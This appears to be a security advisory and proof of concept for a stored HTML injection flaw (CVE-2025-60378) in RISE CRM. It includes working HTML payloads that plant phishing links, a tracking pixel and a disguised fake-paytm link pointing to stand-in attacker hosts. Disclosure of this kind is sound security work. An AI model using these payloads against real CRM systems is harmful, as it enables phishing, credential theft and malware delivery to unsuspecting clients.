
Proof of concept for stored HTML injection in RISE CRM, demonstrating how authenticated users can inject malicious HTML into invoices and messages, leading to phishing and malware distribution via automated emails and PDFs.
⚠️ Security Advisory
A critical Stored HTML Injection vulnerability affecting invoices, messaging, and automated communications
A critical Stored HTML Injection vulnerability has been discovered in RISE Ultimate Project Manager & CRM that allows authenticated users to inject malicious HTML into invoice line items, client notes, and messaging modules. This injected content persists in the database and is automatically rendered in client-facing emails, PDFs, and chat communications, enabling large-scale phishing attacks, business email compromise, and email/PDF-based malware delivery.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2025-60378 |
| Type | Stored HTML Injection |
| CWE | CWE-79 |
| Attack Vector | Network/Remote |
| Authentication | Required (Low Privilege) |
| User Interaction | None |
| Severity | HIGH |
| CVSS v3.1 | 8.1 - High |
| Discoverer | Ajansha Shankar |
RISE CRM fails to properly sanitize and encode HTML content in multiple user-editable fields including invoices, messages, and client notes. When authenticated users inject HTML payloads into these fields, the content is stored in the database without adequate filtering. Subsequently, this malicious HTML is automatically rendered in client-facing emails, PDF attachments, and messaging/chat modules without proper escaping. Recurring invoices and automated messaging amplify the attack by distributing malicious content to multiple recipients simultaneously.
| Factor | Impact | Explanation |
|---|---|---|
| Confidentiality | 🔴 HIGH | Client credentials and sensitive data can be harvested via phishing |
| Integrity | 🔴 HIGH | Malicious content can modify perception of communications and business relationships |
| Availability | 🟡 LOW | Limited direct impact on system availability |
An attacker with low-privilege project manager access creates an invoice with malicious HTML:
<a href="https://attacker.com/fake-payment">Click here to view payment status</a>
The invoice is sent to 100+ clients via automated email. All clients receive what appears to be a legitimate invoice directing them to a phishing site. The attacker harvests credentials from multiple victims simultaneously.
An attacker injects malicious HTML into a client message:
<img src="https://attacker.com/track.gif?user=CLIENT_ID">
<a href="https://malware.com">Download Updated Project Files</a>
All team members and clients receive the message in their chat, clicking links to download malware.
An attacker sets up a recurring invoice with malware delivery payload. Every month, clients automatically receive invoices with embedded malicious content, providing persistent attack vector.
Navigate to: RISE CRM Dashboard → Invoices/Messages → Create New
<a href="https://attacker.com">Click here to view invoice</a>
<a href="https://evil.com" target="_blank">
<img src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExbzg4OXRuZHd4MXF0bWNqa3BvN2pzbWdqMzRxZHc5bHJpbXpucHNtaSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/9PgvV8ale90lQwfQTZ/giphy.gif">
</a>
<h1><font color=red>Visit Our New WebSite</font></h1>
<h3><mark><a href="https://evil.com">https://www.paytm.com/</a></mark></h3>
✅ Injected HTML renders in emails, PDFs, and messaging without escaping ✅ Links are clickable and redirect to attacker sites ✅ Images load from attacker-controlled servers ✅ Content persists across all future client communications ✅ Recurring distribution reaches multiple recipients automatically
| Date | Event |
|---|---|
| TBD | Vulnerability discovered |
| TBD | Vendor notified |
| TBD | CVE-2025-60378 assigned |
| TBD | Patch released (v3.9.4) |
| TBD | Public disclosure |
Discovered by: Ajansha Shankar
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Score: 8.1 (HIGH)
Breakdown:
For questions or additional information:
⭐ If this research was helpful, please consider starring this repository!
🔔 Stay updated: Watch this repository for updates on this and future security research.